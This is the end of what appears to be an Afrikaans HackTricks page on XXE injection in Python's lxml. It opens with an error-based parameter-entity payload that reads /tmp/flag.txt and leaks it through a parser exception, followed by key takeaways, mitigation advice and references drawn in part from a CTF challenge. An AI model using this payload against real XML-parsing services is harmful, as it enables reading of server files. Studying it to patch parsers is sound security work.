<!ENTITY % a '
|
||||
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
|
||||
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
|
||||
'>
|
||||
%a; %b;
|
||||
]>
|
||||
<colors>&c;</colors>
|
||||
```
|
||||
#### Sleutelafleidings
|
||||
* **Parameter entiteite** word steeds deur libxml2 uitgebrei, selfs wanneer `resolve_entities` XXE moet blokkeer.
|
||||
* 'n **Ongeldige URI** of **nie-bestaande lêer** is genoeg om beheerde data in die gegooi uitsondering te konkateneer.
|
||||
* Die tegniek werk **sonder uitgaande konnektiwiteit**, wat dit ideaal maak vir streng uitgangs-gefilterde omgewings.
|
||||
|
||||
#### Versagtingsriglyne
|
||||
* Opgradeer na **lxml ≥ 5.4.0** en verseker dat die onderliggende **libxml2** **≥ 2.13.8** is.
|
||||
* Deaktiveer `load_dtd` en/of `resolve_entities` tensy absoluut nodig.
|
||||
* Vermy om rou parser foute aan die kliënt terug te gee.
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
- Trek inligting via HTTP met eie eksterne DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
|
||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
|
||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
|
||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user